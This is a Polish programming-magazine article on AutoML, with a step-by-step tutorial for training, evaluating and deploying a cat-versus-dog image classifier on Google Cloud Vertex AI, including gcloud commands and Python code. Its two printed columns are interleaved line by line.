algorytmów uczących się możemy dostrzec w znacznej części ota- lokalnym. W kontrze do rozwiązań chmurowych jest bezkosztowe,
czającej nas elektroniki – od smartfonów i telewizorów do aparatury wymaga jednak pewnej mocy obliczeniowej i znacznie większych za-
medycznej. sobów cierpliwości.
Uczenie maszynowe swoją popularność zawdzięcza w dużym Możemy zatem zauważyć, że jednym z pierwszych efektów roz-
stopniu metodzie uczenia głębokiego (ang. deep learning) wraz z sie- woju rynku rozwiązań AutoML jest zjawisko wydzielenia się obsza-
ciami neuronowymi (ang. neural networks), które przyczyniły się do rów ich zastosowań. Pośród narzędzi dostępnych u dużych graczy
powstania takich narzędzi jak Siri [1], Alexa [2] czy ChatGPT [3]. (Microsoft, Google) pojawiły się rozwiązania skierowane do kon-
Umiejętna i sprawna praca z algorytmami uczącymi się wymaga kretnej grupy odbiorców, tj. MedicMind. Firma Apple także wtrąciła
jednak dużej wiedzy zarówno z dziedziny matematyki, jak i progra- swoje trzy grosze, udostępniając narzędzie AutoML z gatunku offline.
mowania. Ograniczenia te przyczyniły się do powstania kolejnej ga- Jednym z najważniejszych obecnie wyzwań dalszego rozwoju Au-
łęzi rozwoju sztucznej inteligencji, jaką jest AutoML. Terminem Au- toML jest tworzenie wysoko wydajnych modeli poprzez zwiększanie ich
toML (ang. automated machine learning) możemy określić zarówno złożoności. Wśród ostatnio dokonanych postępów wyróżnia się usługa
procesy, jak i narzędzia, których celem jest automatyczne tworzenie Vertex AI [12] w chmurze Google Cloud Platform (GCP). W dalszej
i uczenie modeli predykcyjnych (przeznaczonych do np. późniejsze- części tego artykułu przyjrzymy się wykorzystaniu jej w procesie kla-
go przydzielania decyzji). Wykorzystanie tego rodzaju narzędzi nie syfikacji obrazów.
wymaga posiadania wiedzy w obszarach związanych z uczeniem ma-
szynowym, ani nawet z informatyką. Proces tworzenia modeli przy
MOŻLIWOŚCI I ZASTOSOWANIA
użyciu AutoML sprowadza się jedynie do wskazania danych oraz
AUTOML
wyboru ogólnych detali treningu. Warto mieć jednak na uwadze, że
uzyskanie dobrych wyników może wymagać wiedzy i doświadczenia Nie powinno być już tajemnicą, że AutoML znacznie przyspiesza
w projektowaniu systemów uczących się. tworzenie modeli predykcyjnych, co jest wykorzystywane także przez
Autorzy rozwiązań AutoML nie zawsze chętnie dzielą się dokład- zespoły profesjonalnie zajmujące się uczeniem maszynowym. Pozwa-
nymi szczegółami ich działania. Można jednak przypuszczać, że są to la to na oszczędność czasu i kosztów związanych z pracami badaw-
procesy wielokrotnej optymalizacji hiperparametrów (konfiguracji) czymi. Oprócz możliwości ekonomicznych warto przyjrzeć się także
architektur sieci neuronowych oraz ich treningu, które stanowią fi- potencjałom technicznym tych rozwiązań.
nalnie utworzony model predykcyjny. Dostępne rozwiązania AutoML w dużym stopniu pokrywają się
z możliwościami oraz funkcjonalnościami. Różnice między nimi

RYNEK AUTOML można zauważyć przeważnie w wydajności utworzonych modeli,


w procesie ich trenowania oraz w kosztach. Możliwości technicz-
Rynek AutoML powiększa się dynamicznie z roku na rok. Duże kor- ne rozwiązań AutoML można podzielić na kategorie w zależności
poracje, takie jak Google [4], Microsoft [5], Amazon [6], Oracle [7] od rodzaju danych, na których będą operować: dane numeryczne
czy IBM [8], oferują własne rozwiązania w ramach chmury publicz- (tabelaryczne), tekst, obrazy oraz wideo. W przypadku danych nu-

<14> { 3 / 2023 < 108 > }


BIBLIOTEKI I NARZĘDZIA

merycznych możliwości dotyczą typowych zadań nadzorowanego panelu zasobników klikamy przycisk UTWÓRZ ZASOBNIK (Rysu-
uczenia maszynowego, czyli m.in. klasyfikacji i regresji lub prognoz nek 2) i zostaniemy przekierowani do panelu ze szczegółami nowego
dla szeregów czasowych. Dla danych tekstowych AutoML jest w sta- zasobnika (Rysunek 3), którego nazwa powinna być unikalna. Loka-
nie stworzyć model analizujący sentyment lub dokonujący ekstrakcji lizację pozostawmy domyślną, a jako klasę pamięci wskażmy pozycję
encji. W przypadku danych obrazowych oraz wideo zakres zastoso- Autoclass. W następnym kroku zaznaczmy opcje: Wyegzekwuj bloka-
wań jest najszerszy. Dotyczy on zarówno klasyfikacji poszczególnych dę dostępu publicznego, a następnie Jednolita kontrola dostępu. Pro-
obrazów, jak i detekcji obiektów oraz ich segmentacji, także na wi- ces tworzenia zasobnika możemy zakończyć, zaznaczając opcję Brak
deo. Ogromna większość z tych możliwości jest dostępna w usłudze w sekcji Narzędzia ochrony.
Vertex AI (którą omówimy dokładniej w dalszej części artykułu). Je-
dynym niedostępnym wyjątkiem są prognozy szeregów czasowych,
które jednak są dobrze realizowane np. za pomocą usługi Amazon
Forecast [13] dostępnej w chmurze Amazon Web Services.
Jeśli chodzi o możliwości rozwiązań AutoML, nie sposób nie wspo-
mnieć także o jednym z najważniejszych etapów prac nad systemami
uczącymi się – wdrażaniu. AutoML umożliwia także automatyzację
tego procesu, ograniczając do minimum związane z tym czynności.

AUTOML W AKCJI, CZYLI TWORZENIE


KLASYFIKATORA OBRAZÓW
W tej sekcji przyjrzyjmy się pełnemu procesowi powstawania sys-
temów uczących się oraz zautomatyzujemy go za pomocą AutoML
w postaci usługi Vertex AI. Zadaniem naszego systemu będzie klasy-
fikacja binarna zdjęć w celu weryfikacji hipotezy, czy na zdjęciu znaj-
duje się kot czy pies. Kroki, które dalej przedstawię, dotyczą pozyska-
nia zdjęć, utworzenia oznaczonego zbioru danych, treningu modelu
oraz jego wdrożenia. Każdy z tych etapów będzie dostosowany za-
równo do możliwości chmury GCP, jak i usługi Vertex AI.
Chmura GCP ma opcję konta testowego z dostępnymi środkami
w kwocie 300$ na okres 90 dni. Zasoby te w zupełności wystarczą zarów-
no na odtworzenie tego eksperymentu, jak i kilku (dziesięciu) innych.
Zaprezentowane kroki z uwagi na ograniczenia artykułu stanowią
pewne uproszczenie pełnych prac wdrożeniowych w chmurze. Jest to
jedynie materiał poglądowy i nie jest rekomendowane odtwarzenie
ich w środowiskach produkcyjnych. Rysunek 1. Zasobniki usługi Google Cloud Storage w menu głównym

Zbiór danych
Wykorzystamy publicznie dostępny zbiór danych Dogs vs Cats [14],
który zawiera 12500 kolorowych zdjęć przedstawiających psy oraz
tyle samo zdjęć przedstawiających koty. Zdjęcia mają różne rozmiary,
które wynoszą około 500x375 px, i są podzielone na dwa foldery: Cat
oraz Dog, które odpowiadają widocznemu obiektowi. Zbiór danych
jest dostępny także na stronie Microsoft, co znacznie ułatwi nam po-
branie ich bezpośrednio do chmury GCP: https://www.microsoft.com/
en-us/download/details.aspx?id=54765.

Transfer zbioru danych do chmury


Dobrym miejscem do przechowywania danych jest usługa Google
Cloud Storage. Stwórzmy zatem nowy zasobnik, w którym znajdą się
nasze zdjęcia przedstawiające psy i koty, które posłużą w późniejszym
Rysunek 2. Ekran zasobników w usłudze Google Cloud Storage
czasie do treningu naszego modelu decyzyjnego. W tym celu należy
wybrać w menu głównym usługę Cloud Storage, a następnie pozycję
Zasobniki, jak zaprezentowano na Rysunku 1. Po przekierowaniu do

<16> { 3 / 2023 < 108 > }


/ Jak AutoML zmienia sposób postrzegania uczenia maszynowego? /

wiera 25000 zdjęć, które są podzielone na 2 katalogi, zatem skopiujmy


je do nowo utworzonego zasobnika za pomocą polecenia:

> gsutil cp -r PetImages/ gs://[NAZWA_ZASOBNIKA]/PetImages

Rysunek 5. Zawartość katalogu domowego po rozpakowaniu danych treningowych

Proces ten może chwilę potrwać, warto więc uzbroić się w cierpli-
wość. Po jego zakończeniu można usunąć dane z lokalnych zasobów
za pomocą następującego polecenia:

> rm -rf PetImages

Etykiety
Etykiety są decyzjami przydzielonymi przez eksperta dziedzinowego
dla danych wejściowych. W przypadku problemów decyzyjnych peł-
nią rolę punktu odniesienia algorytmu uczącego oraz są wykorzysty-
wane przy ocenie skuteczności gotowego modelu.
Usługa Vertex AI trenuje modele na podstawie odrębnie utwo-
rzonych zbiorów danych. Aby móc taki utworzyć, musimy przygo-
tować plik z etykietami. Etykiety powinny znajdować się w pliku
tekstowym, gdzie każdy obraz (ścieżka w zasobniku) będzie miał
przypisaną etykietę w dowolnej postaci (numeryczna lub tekstowa).
Proces przydzielania etykiet ścieżkom w zasobniku znacznie ułatwia
nam fakt, że zdjęcia są podzielone na foldery odpowiadające klasie
Rysunek 3. Szczegóły nowego zasobnika na dane treningowe
decyzyjnej. Jako docelowa forma pliku z etykietami najlepiej spraw-
dzi się CSV (ang. comma-separated values).
Mając utworzony pusty zasobnik, możemy zająć się zapisaniem Manualny proces przypisywania etykiet 25000 ścieżek może być
w nim danych, które posłużą do treningu modelu. W tym celu męczący (a przede wszystkim bezsensowny), przygotujemy więc
przejdźmy do konsoli Cloud Shell (Rysunek 4) i wykonajmy wi- skrypt w języku Python, który zrobi to za nas. W tym celu należy
doczne poniżej polecenie, które pobierze i wypakuje zbiór danych przejść do edytora skryptów w terminalu (Rysunek 6). Następnie zo-
w naszych lokalnych zasobach. staniemy przeniesieni do przeglądarkowej wersji popularnego edyto-
ra kodu Visual Studio Code [15]. Utwórzmy nowy skrypt języka Py-
> curl \
https://download.microsoft.com/download/3/E/1/3E1C3F21-ECDB- thon, wybierając menu File, a następnie opcję New File (Rysunek 7),
4869-8368-6DEBA77B919F/kagglecatsanddogs_5340.zip | jar xv i zapiszmy go pod nazwą generate_labels.py, wybierając opcję Save
w menu File. Przedstawiony kod w Listingu 1 wykonuje iterację po
wszystkich plikach we wskazanym zasobniku, a następnie każdej
ścieżce przypisuje nazwę katalogu nadrzędnego jako etykietę. Całość
jest eksportowana do pliku CSV we wskazanym zasobniku.

Rysunek 4. Konsola Cloud Shell


Rysunek 6. Edytor skryptów w terminalu

Po wykonaniu polecenia sprawdźmy, czy mamy dostęp do wszyst- Listing 1. Skrypt tworzący plik CSV z etykietami przypisanymi do zdjęć
kich niezbędnych danych. W tym celu wykonajmy polecenie:
from google.cloud import storage
from pathlib import Path
> ls -l
BUCKET_NAME = 'bucket-name'
które zwróci nam zawartość katalogu domowego (w którym rozpako- LABEL_FILE_NAME = 'labels.csv'
IMG_EXTENSION = '.jpg'
waliśmy pobrany zbiór danych) naszych zasobów lokalnych i porów-
client = storage.Client()
najmy jego zawartość z Rysunkiem 5. Widoczny katalog PetImages za-

{ WWW.PROGRAMISTAMAG.PL } <17>
BIBLIOTEKI I NARZĘDZIA

bucket = client.get_bucket(BUCKET_NAME) wprowadzonych szczegółów ponownie musimy uzbroić się w cierpli-


result = 'image_path,label\n' wość, ponieważ usługa Vertex AI rozpocznie proces importu zdjęć,
for blob in bucket.list_blobs(): który może trochę potrwać. O zakończeniu procesu tworzenia zbioru
full_path = blob.name
danych zostaniemy poinformowani zarówno w panelu chmury GCP,
if not IMG_EXTENSION in full_path:
continue jak też mailowo. Po finalizacji tworzenia zbioru na liście pojawi się
result += f'gs://{BUCKET_NAME}/{full_path},' \ nowa pozycja, po wybraniu której ukaże się podgląd zaimportowa-
f'{Path(full_path).parent.name}\n' nych danych (Rysunek 11).
labels_blob = bucket.blob(LABEL_FILE_NAME)
labels_blob.upload_from_string(result)

Rysunek 7. Nowy skrypt w edytorze

Finalnie przygotowany skrypt należy uruchomić tak jak zaprezentowa-


no na Rysunku 8. Wynikowy plik CSV znajdzie się w katalogu głów-
nym wskazanego zasobnika.

Rysunek 9. Zbiory danych usługi Vertex AI w menu głównym

Rysunek 8. Uruchomienie skryptu w edytorze

Zbiór treningowy
Ostatnim krokiem przed rozpoczęciem automatycznego treningu jest
przygotowanie pełnego zbioru danych w usłudze Vertex AI. W tym
celu wybierzmy opcję Vertex AI w menu głównym, a następnie pozy-
cję Zbiory danych (Rysunek 9). Po przekierowaniu do kolejnego ekra-
nu wybierzmy przycisk UTWÓRZ i ukaże nam się panel tworzenia
nowego zbioru danych. Wskażmy nazwę zbioru danych nawiązującą
do charakteru danych oraz typ danych jako obraz z jedną etykietą,
tak jak zaprezentowano na Rysunku 10. W następnym kroku wy-
bierzmy opcję Wybierz pliki importu z cloud storage w sekcji Wybierz
metodę importu i wskażmy tam ścieżkę do wynikowego pliku CSV
zawierającego ścieżki do zdjęć wraz z przypisanymi etykietami, któ-
ry znajduje się we wskazanym zasobniku. Z listy rozwijanej Podział
danych wybierzmy opcję Trening, co będzie oznaczało, że nasze dane
posłużą w całości do treningu nowego modelu. Po zatwierdzeniu Rysunek 10. Tworzenie nowego zbioru danych

<18> { 3 / 2023 < 108 > }


/ Jak AutoML zmienia sposób postrzegania uczenia maszynowego? /

do etykiet znajdujących się w podzbiorze walidacyjnym. Wyuczony


w ten sposób model jest na końcu walidowany przy użyciu podzbio-
ru testowego, co pozwala na ocenę zdolności generalizacji wyników
na populację.

Rysunek 11. Właściwości utworzonego zbioru danych

Trening
Trening to najważniejszy etap prac nad systemami uczącymi się. Nie-
rzadko jest to także najbardziej czasochłonny i energochłonny pro-
ces, który potrafi nieprzerwanie trwać miesiącami, wykorzystując do
tego niezwykle złożone zasoby obliczeniowe.
Przejdźmy do ekranu automatycznego treningu modeli, wybierając
kolejno usługę Vertex AI w menu głównym, a następnie pozycję Tre-
nowanie (Rysunek 12). Po przeniesieniu do kolejnego ekranu wybierz-
my przycisk UTWÓRZ i wskażmy zbiór danych oraz plik z etykietami
(Rysunek 13), na podstawie których zostanie wytrenowany model. Rysunek 12. Automatyczny trening modeli usługi Vertex AI w menu głównym
W sekcji Model training method wybierzmy AutoML, a w sekcji Wy-
bierz, gdzie chcemy używać modelu zaznaczmy opcję W chmurze, co W kolejnym kroku w tabeli zawierającej cele trenowania wybierzmy
pozwoli nam na łatwe i szybkie wdrożenie. W przypadku wyboru opcję Higher accuracy (Rysunek 15), która przystosuje model do osią-
opcji Edge istnieje możliwość pobrania gotowego modelu i wyko- gnięcia jak najwyższej wydajności. Warto zwrócić uwagę na fakt, że
rzystania go bezpośrednio na urządzeniu peryferyjnym o mniejszej po wybraniu opcji zapewniającej wyższą wydajność modelu z menu
mocy obliczeniowej. Pragnę jednak ostudzić zapał części z czytelni- po lewej stronie znika pozycja Wyjaśnialność (ang. explainability).
ków – niezwykle ciężko jest wydobyć nawet elementarne detale ar- Jest to związane ze zwiększeniem złożoności wynikowych modeli,
chitektury pobranych modeli, można jednak wykorzystać je w pro- co skrajnie utrudnia (lub nawet uniemożliwia) ich wyjaśnienie. W
cesach dalszego trenowania lub uczenia transferowego (ang. transfer ostatnim kroku wskażmy Budżet w postaci 10 Maksymalnej liczby
learning). W następnym kroku zaznaczmy opcję Wytrenuj nowy godzin pracy węzłów (Rysunek 16), co jest w zupełności wystarcza-
model (Rysunek 14), wskażmy jego nazwę i w sekcji Podział danych jące dla naszych danych. Podczas szacowania budżetu warto zwrócić
wskażmy Losowe w proporcjach 80% dla danych treningowych, 10% uwagę na cennik [16] usługi Vertex AI. Po wypełnieniu wszystkich
dla danych walidacyjnych i 10% dla danych testowych. Wskazany wymaganych pól możemy rozpocząć trening, który może potrwać
podział oznacza, że model zostanie wytrenowany na 80% spośród maksymalnie tyle, ile wskazaliśmy w budżecie. Z doświadczenia jed-
przekazanych danych, a 10% danych walidacyjnych posłuży do za- nak wiem, że tego rodzaju prosty problem może zostać rozwiązany
pewnienia jak najlepszego dopasowania modelu do danych przy szybciej. O zakończeniu procesu treningu zostaniemy poinformowa-
zachowaniu jak najlepszej zdolności do generalizacji wyników dla ni w panelu chmury GCP oraz mailowo.
danych nienapotkanych podczas treningu. Finalne wyniki wydaj- W moim przypadku trening dobiegł końca po ok. 2.5 godzinach.
ności modelu zostaną nam zaprezentowane na podstawie ostatnich Gotowy model jest dostępny w pozycjach Trenowanie oraz Rejestr modeli
10% danych testowych. Zastosowany podział danych na podzbiór usługi Vertex AI (Rysunek 17), warto więc zapoznać się z jego szczegó-
treningowy, walidacyjny i testowy pozwala na wytrenowanie modelu łami, wydajnością i osiągami. Trzeba jednak pamiętać, że AutoML jest
na danych treningowych przy zachowaniu najlepszego dopasowania rozwiązaniem, które trenuje modele znacznie wolniej niż podejście ma-

{ WWW.PROGRAMISTAMAG.PL } <19>
BIBLIOTEKI I NARZĘDZIA

Rysunek 13. Metoda trenowania nowego modelu w usłudze Vertex AI

Rysunek 14. Właściwości nowego modelu w usłudze Vertex AI

Rysunek 15. Opcje trenowania nowego modelu w usłudze Vertex AI

<20> { 3 / 2023 < 108 > }


/ Jak AutoML zmienia sposób postrzegania uczenia maszynowego? /

Rysunek 16. Maksymalny budżet treneowania nowego modelu w usłudze Vertex AI

Rysunek 17. Rejestr wytrenowanych modeli w usłudze Vertex AI

Rysunek 18. Wyniki treningu oraz testu modelu

{ WWW.PROGRAMISTAMAG.PL } <21>
BIBLIOTEKI I NARZĘDZIA

nualne polegające na pisaniu kodu. Różnica wynika z samego założenia


WDROŻENIE MODELU
– AutoML dzięki ogólnemu charakterowi swoich zastosowań potrzebuje
znacznie więcej czasu oraz zasobów obliczeniowych do znalezienia roz- Po pomyślnie wykonanych testach ostatnim etapem prac nad syste-
wiązania przystosowanego do konkretnego obszaru. mami uczącymi się jest wdrożenie (ang. deployment). Gotowy model
może znaleźć się zarówno w urządzeniu lokalnym lub mobilnym, jak
i zostać wdrożony w kolejnej usłudze chmurowej. W przypadku nasze-
Jakość wytrenowanego modelu
go modelu dokonamy wdrożenia w chmurze, korzystając z funkcjonal-
Przejdźmy do pozycji Rejestr modeli (Rysunek 17) i wybierzmy nasz ności automatycznego wdrożenia, które pozwoli nam na zaoszczędze-
model, a następnie najnowszą wersję (w przypadku pierwszego tre- nie znacznej ilości czasu. Warto jednak mieć na uwadze, że wdrożenie
ningu będzie to wersja 1). Ukaże się nam panel obrazujący szczegóły w chmurze wiąże się z dodatkowymi kosztami (patrz: cennik).
treningu oraz wyniki testów modelu (Rysunek 18). Możemy zauwa- Znajdując się w panelu szczegółów modelu (Rysunek 18), wy-
żyć tam kilka interesujących elementów. bierzmy zakładkę WDRAŻANIE I TESTOWANIE, a następnie przy-
1. Poziom ufności – prawdopodobieństwo przynależności zdjęcia cisk WDRÓŻ W PUNKCIE KOŃCOWYM. Po ukazaniu się panelu
do pozytywnej klasy decyzyjnej, dzięki któremu uzyska etykietę konfiguracyjnego wprowadźmy nazwę punktu końcowego (ang. end-
pozytywną. point), a w następnym kroku ustalmy podział ruchu do jednego węzła
2. Metryki wydajności: średnia precyzja, precyzja (ang. precision, wynoszący 100% oraz pozostawmy niezaznaczoną opcję Włącz logo-
równanie 1) i czułość (ang. sensitivity, równanie 2). Wartość wanie dostępu w tym punkcie końcowym (Rysunek 19). Po wypełnie-
średniej precyzji informuje nas o średnim wyniku precyzji uzy- niu wszystkich detali zatwierdźmy operację wdrożenia i raz jeszcze
skanym na różnych wartościach poziomu ufności. Im większa uzbrójmy się w cierpliwość. O zakończeniu procesu zostaniemy tak
– tym model jest bardziej pewny swoich decyzji. Precyzja jest jak wcześniej poinformowani w panelu chmury GCP oraz mailowo.
metryką obrazującą odsetek poprawnych decyzji. Im większa
wartość, tym więcej decyzji przydzielanych przez model jest
poprawnych. Czułość informuje nas, jak duży odsetek obiektów
klasy pozytywnej otrzymał poprawną decyzję.
3. Liczebności obrazów przeznaczonych do trenowania, walidacji
i testowania modelu.
4. Krzywa precyzji i czułości. Obrazuje w sposób graficzny jakość
modelu na podstawie dwóch metryk. Im jej przebieg jest bliżej
prawego górnego rogu, tym jakość modelu jest wyższa.
5. Krzywa precyzji i czułości według progu. Obrazuje wpływ pozio-
mu ufności na wartość precyzji i czułości, dzięki czemu można
zwiększyć wydajność modelu bez jego ponownego trenowania.
6. Tablica pomyłek (ang. confusion matrix). Obrazuje odsetki li-
czebności zdjęć, które otrzymały decyzje prawdziwie pozytywne
(ang. true positive – TP), fałszywie pozytywne (ang. false positive
– FP), fałszywie negatywne (ang. false negative – FN) oraz praw-
dziwie negatywne (ang. true negative – TN).

(1)

(2)
Rysunek 19. Wdrożenie nowego modelu

Na podstawie tablicy pomyłek możemy zauważyć, że nasz model


ocenił bezbłędnie wszystkie psy oraz wszystkie koty. Analizując krzy- Po zakończeniu procesu wdrażania w zakładce WDRAŻANIE I TE-
wą precyzji i czułości na poziomie ufności wynoszącym 0.5, możemy STOWANIE pojawi się nasz punkt końcowy oraz przycisk PRZEŚLIJ
także dostrzec, że nasz model bezbłędnie poradził sobie z klasyfikacją OBRAZ (Rysunek 20). Zobaczmy zatem, jak sprawdzi się nasz model.
zdjęć testowych. Przesłałem znalezione w sieci zdjęcie jednego z popularniejszych ko-
W wynikach testu modelu można zauważyć pewną nieścisłość, tów na Pomorzu Zachodnim i nie tylko – Gacka. Decyzję przydzie-
która przedstawia precyzję i czułość wynoszącą 99.8%, mimo po- loną przez model możemy zauważyć na Rysunku 21. Jak widać, nasz
prawnie sklasyfikowanych wszystkich zdjęć. Ten fakt wynika z ciągłej model z 99% pewnością informuje nas o tym, że na zdjęciu znajduje
niedojrzałości usługi Vertex AI. Rynek AutoML jest wciąż postrze- się kot. Czy taki interfejs wykorzystania modelu jest dla nas wystar-
gany jako rozwijający się i tego typu niedoskonałości zdarzają się na czający? W praktyce modele predykcyjne przetwarzają tony danych,
porządku dziennym. zatem dobrym pomysłem będzie przygotowanie narzędzia, które
umożliwi automatyczne przetworzenie dużych ilości zdjęć.

<22> { 3 / 2023 < 108 > }


/ Jak AutoML zmienia sposób postrzegania uczenia maszynowego? /

Następnie utwórzmy nowy skrypt, do którego zaimportujmy nie-


zbędne pakiety, oraz dodajmy ścieżkę do pobranego pliku credentials.
json jako zmienną środowiskową (alternatywnie można ustawić ją
także z poziomu konsoli) – Listing 2.

Listing 2. Import pakietów oraz ustawienie ścieżki do pliku credentials.json

import base64
import os

from google.cloud import aiplatform


from google.cloud.aiplatform.gapic.schema import predict

os.environ['GOOGLE_APPLICATION_CREDENTIALS'] =
'credentials.json'

Rysunek 20. Testowanie modelu


Kolejnym krokiem będzie przygotowanie funkcji, która wykona ko-
munikację z przygotowanym punktem końcowym oraz zwróci decyzję
przydzieloną przez model, co można zauważyć w Listingu 3. Przed-
stawiona funkcja predict_image_classification_sample stanowi
adaptację kodu oryginalnie opublikowanego w serwisie Github [17].

Listing 3. Funkcja komunikująca się z punktem końcowym w celu uzyskania decyzji


Rysunek 21. Wynik klasyfikacji zdjęcia przedstawiającego kota Gacka
def predict_image_classification_sample(
project: str,
DOSTĘP DO PUNKTU KOŃCOWEGO endpoint_id: str,
filename: str,
Z ZEWNĄTRZ location: str = 'us-central1',
api_endpoint: str =
'us-central1-aiplatform.googleapis.com',
W pierwszym kroku musimy przygotować oddzielne konto tech- ) -> list[dict]:
client_options = {
niczne z przypisaną rolą, które będzie odpowiedzialne za jedną rzecz 'api_endpoint': api_endpoint
– umożliwienie dostępu skryptowi do dokonywania predykcji. W tym }
client = aiplatform.gapic
celu przejdźmy do konsoli Cloud Shell i wywołajmy polecenie, które .PredictionServiceClient(
utworzy nam nowe konto techniczne: client_options=client_options
)
with open(filename, 'rb') as f:
> gcloud iam service-accounts create [NAZWA_KONTA] file_content = f.read()

encoded_content = base64.b64encode(file_content)
Przydzielmy naszemu nowemu użytkownikowi rolę. Dobrą prakty- .decode('utf-8')
ką jest przydzielanie ról zawierających minimalny zestaw uprawnień instance = predict.instance
.ImageClassificationPredictionInstance(
niezbędny do poprawnego wykonania zadania. W naszym przypad- content=encoded_content,
ku dobrze sprawdzi się rola aiplatform.user: ).to_value()
instances = [instance]
parameters = predict.params
> gcloud projects add-iam-policy-binding [ID_PROJEKTU] \ .ImageClassificationPredictionParams(
--member="serviceAccount:[NAZWA_KONTA]@[ID_PROJEKTU].iam confidence_threshold=0.5,
.gserviceaccount.com" --role=roles/aiplatform.user max_predictions=5,
).to_value()
endpoint = client.endpoint_path(
project=project,
Następnym krokiem będzie wygenerowanie pliku w formacie JSON location=location,
z danymi dostępowymi nowego użytkownika. W tym celu wywołaj- endpoint=endpoint_id,
)
my polecenie, które utworzy plik i zapisze go w lokalnych zasobach: response = client.predict(
endpoint=endpoint,
> gcloud iam service-accounts keys create credentials.json \ instances=instances,
--iam-account= \ parameters=parameters,
[NAZWA_KONTA]@[ID_PROJEKTU].iam.gserviceaccount.com )

return [dict(pred) for pred in response.predictions]

Nowo utworzony plik pobierzmy na dysk, gdzie utworzymy wkrótce


także skrypt w języku Python, który umożliwi współpracę z mode- Pora na uruchomienie funkcji i uzyskanie decyzji. W tym celu do-
lem bezpośrednio z poziomu własnego komputera: piszmy kod zaprezentowany w Listingu 4. Przed jego uruchomie-
niem będziemy potrzebowali jeszcze kilku dodatkowych informacji
> cloudshell download credentials.json
ze strony chmury GCP. Pierwszą z nich będzie identyfikator nume-
Pora przenieść się do prac po stronie lokalnego urządzenia. Zainstalujmy ryczny projektu, który możemy uzyskać, wywołując w konsoli Cloud
więc w lokalnym interpreterze języka Python (lub w środowisku wirtual- Shell następujące polecenie:
nym) bibliotekę google-cloud-aiplatform za pomocą poniższego polecenia:
> gcloud projects list --filter= \
"$(gcloud config get-value project)" \
> pip install google-cloud-aiplatform
--format="value(PROJECT_NUMBER)"

{ WWW.PROGRAMISTAMAG.PL } <23>
BIBLIOTEKI I NARZĘDZIA

Kolejną z nich będzie identyfikator punktu końcowego, który mo- Obserwując rozwój sztucznej inteligencji, można jednak wysnuć tezę,
żemy znaleźć w zakładce WDRAŻANIE I TESTOWANIE (Rysunek 21). że w nieodległym czasie bieżący stan rzeczy ulegnie zmianie.

Listing 4. Prezentacja decyzji przydzielonej przez model

if __name__ == '__main__':
PODSUMOWANIE
predictions = predict_image_classification_sample(
project='project-number', AutoML jest bez wątpienia wartym uwagi nurtem w uczeniu maszy-
endpoint_id='endpoint-id', nowym. Nie wymaga od użytkownika znajomości zagadnień zwią-
location='us-central1',
filename='path/to/photo.ext' zanych z informatyką, matematyką i uczeniem maszynowym, choć
)
doświadczenie w tych obszarach jest niezbędne w celu osiągnięcia
for prediction in predictions: dobrych wyników. Obecny rynek AutoML należy do szybko rozwi-
print(f'Decision: {prediction["displayNames"][0]}, '
f'confidence: {prediction["confidences"][0]}') jających się, więc wybór narzędzi jest szeroki. Nie oznacza to jednak
całkowitej ich niezawodności.
Nasz system w pełni już działa. Został solidnie wytrenowany na Przedstawiona w artykule metoda do tworzenia systemów uczących
ok. 25000 obrazach (w tym kilku, które uległy uszkodzeniu podczas się za pomocą rozwiązań AutoML nie zastąpi w najbliższym czasie trady-
importu), przetestowany i finalnie wdrożony. Mamy narzędzie, które cyjnego podejścia z wykorzystaniem uczenia maszynowego. Warto także
łączy się z punktem końcowym w bezpieczny sposób i automatycznie mieć na uwadze fakt, że w przypadku pracy z danymi tabelarycznymi
generuje decyzje dla wskazanych zdjęć. Przyjrzyjmy się, jak w rzeczy- ciężar gatunkowy spoczywa na inżynierii cech, która polega na transfor-
wistości wyglądają zastosowania rozwiązań AutoML oraz jak prezentu- macji danych wejściowych do bardziej przydatnej i reprezentatywnej po-
ją się w kontrze do systemów uczących się przygotowanych klasycznie. staci, łatwiejszej do interpretacji przez algorytmy uczenia maszynowego.
W takiej sytuacji nakłady pracy na budowanie i trenowanie modelu są

PERSPEKTYWY I WNIOSKI wielokrotnie mniejsze niż obróbka danych. AutoML daje jednak duże
pole do eksperymentowania osobom, które nie są związane technicznie
Zbiór danych Dogs vs Cats stał się jednym z klasyków uczenia ma- ze sztuczną inteligencją. Dobry przykład stanowią przytoczone powyżej
szynowego. Najwyższa odnotowana dokładność na tym zbiorze osią- prace [18, 20], w których wykorzystano AutoML do wsparcia diagnosty-
gnęła na platformie Kaggle 99%, co po dokonaniu kilku przekształ- ki oczu. Autorami tej pracy (oraz rozwiązania) są okuliści.
ceń wzorów jest porównywalnym wynikiem z tym osiągniętym przez
nasz model. Oznacza to, że możliwości rozwiązań AutoML zbliżają
się do osiągnięć uzyskanych przez specjalistyczne zespoły. Warto
W sieci
mieć na uwadze także fakt, że nasz zbiór danych składał się wyłącz-
nie z oryginalnych zdjęć, których nie poddawaliśmy żadnym dodat- [1] Siri – Apple, https://www.apple.com/siri/
[2] Amazon Alexa Voice AI, https://developer.amazon.com/en-US/alexa/
kowym procesom wstępnego przetwarzania. Takie kroki są jednak [3] Introducing ChatGPT, https://openai.com/blog/chatgpt/
[4] Google Cloud Computing Services, https://cloud.google.com/
standardem podczas stosowania klasycznych podejść przy tworzeniu [5] Usługi przetwarzania w chmurze, https://azure.microsoft.com/
systemów uczących się. [6] Cloud Computing Services – Amazon Web Services, https://aws.amazon.com/
[7] Cloud Infrastructure, https://www.oracle.com/cloud/
AutoML znajduje coraz częściej zastosowanie w medycynie. Guan [8] IBM Cloud, https://cloud.ibm.com/
i inni [18] wykorzystali to narzędzie m.in. do klasyfikacji retinopa- [9] Clarifai AI Platform, https://www.clarifai.com/
[10] Deep Learning – medicmind, http://medicmind.tech/
tii cukrzycowej (ang. diabetic retinopathy – DR) oraz zwyrodnienia [11] Create ML Overview, https://developer.apple.com/machine-learning/create-ml/
plamki żółtej (ang. age-related macular degeneration – AMD) na pod- [12] Vertex AI – Google Cloud, https://cloud.google.com/vertex-ai
[13] Time Series Forecasting Service, https://aws.amazon.com/forecast/
stawie skanów OCT (ang. optical coherence tomography). Autorzy uzy- [14] Dogs vs. Cats – Kaggle, https://www.kaggle.com/c/dogs-vs-cats
skali wartość AUC [20] (ang. area under the ROC curve) wynoszącą [15] Visual Studio Code – Code Editor, https://code.visualstudio.com/
[16] Pricing – Vertex AI, https://cloud.google.com/vertex-ai/pricing
97%. Dla porównania, Zang i inni [19], stosując klasyczne podejście, [17] Vertex AI SDK for Python, https://github.com/googleapis/python-aiplatform/blob/
main/samples/snippets/prediction_service/predict_image_classification_sample.py
uzyskali AUC wynoszący odpowiednio 95% oraz 98% w klasyfikacji
[18] Guan, Z., Zhang, G., Korot, E., Ferraz, D. A., Khalid, H., Wagner, S., Keane, P. A. (2020).
